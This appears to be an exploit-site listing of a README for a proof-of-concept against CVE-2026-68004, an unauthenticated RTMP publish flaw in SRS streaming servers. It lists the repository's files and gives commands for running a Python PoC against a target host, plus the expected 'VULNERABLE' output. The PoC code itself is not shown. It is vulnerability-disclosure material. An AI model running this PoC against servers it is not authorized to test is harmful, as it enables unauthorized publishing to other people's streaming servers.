Sploitus

Exploit for CVE-2026-68004

githubexploit · 2026-08-05

Exploit Code

README39 lines
## https://sploitus.com/exploit?id=D300B6C4-B5E3-5F6B-9C94-7F30CF41F9D0
# CVE-2026-68004：SRS Unauthenticated RTMP Publish

## Overview

This repository contains the technical report and proof-of-concept for CVE-2026-68004, an unauthenticated RTMP publish issue in OSSRS / SRS deployments where `vhost.security` is disabled and no other publish authentication is configured.

## Files

| File | Purpose |
| --- | --- |
| `CVE_Report_SRS_Unauth_Publish.md` | Vulnerability report |
| `poc_srs_unauth_publish.py` | Standalone Python 3 PoC using only the standard library |

## Run PoC

Only run this against systems you are authorized to test.

```bash
python poc_srs_unauth_publish.py --host 127.0.0.1 --stream cve_2026_68004_poc
```

Vulnerable:

```text
[+] VULNERABLE: received NetStream.Publish.Start
```

With HTTP API side-channel check:

```bash
python poc_srs_unauth_publish.py --host TARGET --check-api --json
```

Exit code: `0` = publish confirmed, `2` = not confirmed.

## Reporter

HongYuan Liu